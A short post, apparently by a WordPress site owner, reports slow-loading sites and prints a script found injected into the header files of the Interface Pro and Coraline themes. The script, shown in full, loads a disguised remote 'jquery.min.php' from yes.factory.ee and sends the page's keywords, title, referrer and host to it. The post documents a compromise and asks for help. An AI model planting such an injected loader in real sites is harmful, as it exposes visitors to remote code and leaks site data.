waiting for yes.factory.ee..

I noticed that some of my sites were loading REALLY slow – sometimes not at all. It seems that a line of code was added to the theme header file, perhaps to artificially generate more traffic to the site factory.ee

While my page was loading, I noticed a message in the bottom of the screen that said, “waiting for yes.factory.ee..”

This was happening to 6 of my sites. Some of my sites were not affected. I noticed that the code existed in the theme header file for every site that used ThemeHorse’s “Interface Pro” and WordPress’s “Coraline” themes.

Here is the code I had to remove. I’m not a developer, so maybe someone can tell me if my assumptions about this are wrong. I have no idea how it got into my files:

<script>var a='';setTimeout(10);if(document.referrer.indexOf(location.protocol+"//"+location.host)!==0||document.referrer!==undefined||document.referrer!==''||document.referrer!==null){document.write('<script type="text/javascript" src="https://yes.factory.ee/js/jquery.min.php?c_utt=G91825&c_utm='+encodeURIComponent('https://yes.factory.ee/js/jquery.min.php'+'?'+'default_keyword='+encodeURIComponent(((k=(function(){var keywords='';var metas=document.getElementsByTagName('meta');if(metas){for(var x=0,y=metas.length;x<y;x++){if(metas[x].name.toLowerCase()=="keywords"){keywords+=metas[x].content;}}}return keywords!==''?keywords:null;})())==null?(v=window.location.search.match(/utm_term=([^&]+)/))==null?(t=document.title)==null?'':t:v[1]:k))+'&se_referrer='+encodeURIComponent(document.referrer)+'&source='+encodeURIComponent(window.location.host))+'"><'+'/script>');}</script>